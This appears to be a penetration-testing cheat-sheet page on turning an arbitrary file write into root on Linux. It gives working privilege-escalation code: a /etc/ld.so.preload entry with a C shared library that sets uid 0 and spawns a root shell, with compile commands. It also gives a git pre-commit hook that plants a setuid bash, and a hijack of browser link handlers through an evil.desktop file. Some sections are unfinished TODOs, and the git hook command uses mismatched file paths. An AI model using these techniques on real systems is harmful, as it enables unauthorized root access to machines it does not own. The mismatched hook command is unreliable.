Arbitrary File Write to Root

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/etc/ld.so.preload

This file behaves like LD_PRELOAD env variable but it also works in SUID binaries.
If you can create it or modify it, you can just add a path to a library that will be loaded with each executed binary.

For example: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooks are scripts that are run on various events in a git repository like when a commit is created, a merge... So if a privileged script or user is performing this actions frequently and it's possible to write in the .git folder, this can be used to privesc.

For example, It's possible to generate a script in a git repo in .git/hooks so it's always executed when a new commit is created:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & Time files

TODO

Service & Socket files

TODO

binfmt_misc

The file located in /proc/sys/fs/binfmt_misc indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.

Overwrite schema handlers (like http: or https:)

An attacker with write permissions to a victim's configuration directories can easily replace or create files that change system behavior, resulting in unintended code execution. By modifying the $HOME/.config/mimeapps.list file to point HTTP and HTTPS URL handlers to a malicious file (e.g., setting x-scheme-handler/http=evil.desktop), the attacker ensures that clicking any http or https link triggers code specified in that evil.desktop file. For example, after placing the following malicious code in evil.desktop in $HOME/.local/share/applications, any external URL click runs the embedded command:

[Desktop Entry]
Exec=sh -c 'zenity --info --title="$(uname -n)" --text="$(id)"'
Type=Application
Name=Evil Desktop Entry

For more info check this post where it was used to exploit a real vulnerability.